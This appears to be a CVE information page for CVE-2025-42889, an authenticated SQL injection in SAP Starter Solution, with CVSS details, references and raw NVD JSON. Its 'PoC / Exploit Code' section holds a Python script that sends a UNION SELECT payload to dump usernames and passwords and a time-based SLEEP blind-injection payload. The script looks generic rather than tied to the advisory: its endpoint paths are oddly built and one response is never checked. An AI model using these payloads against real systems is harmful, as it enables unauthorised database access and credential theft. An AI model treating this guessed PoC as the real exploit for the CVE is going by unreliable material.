CVE-2025-42889

Description

SAP Starter Solution allows an authenticated attacker to execute crafted database queries, thereby exposing the back-end database. As a result, this vulnerability has a low impact on the application's confidentiality and integrity but no impact on its availability.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAP Starter Solution versions prior to patch update (see SAP Note 2886616)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-42889 PoC - SAP Starter Solution SQL Injection
# Authentication required with low privileges

import requests
import json

target_url = "https://<sap-host>/sap-starter-solution/api/query"

# Login to get session token
login_data = {
    "username": "attacker_account",
    "password": "password123"
}

session = requests.Session()
login_response = session.post(f"{target_url}/auth/login", json=login_data)

if login_response.status_code == 200:
    # SQL Injection payload in query parameter
    sql_payload = "1' UNION SELECT username, password FROM users--"
    
    exploit_data = {
        "query": sql_payload,
        "table": "customer_data"
    }
    
    exploit_response = session.post(
        f"{target_url}/database/execute",
        json=exploit_data
    )
    
    print(f"Status: {exploit_response.status_code}")
    print(f"Response: {exploit_response.text}")
    
    # Alternative: Time-based blind SQL injection
    blind_payload = "1' AND SLEEP(5)--"
    exploit_data_blind = {
        "query": blind_payload,
        "table": "customer_data"
    }
    
    blind_response = session.post(
        f"{target_url}/database/execute",
        json=exploit_data_blind
    )

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-42889
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-42889
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-42889/
[4] VulDB https://vuldb.com/cve/CVE-2025-42889
[5] https://me.sap.com/notes/2886616
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-42889", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:37.663", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP Starter Solution allows an authenticated attacker to execute crafted database queries, thereby exposing the back-end database. As a result, this vulnerability has a low impact on the application's confidentiality and integrity but no impact on its availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://me.sap.com/notes/2886616", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}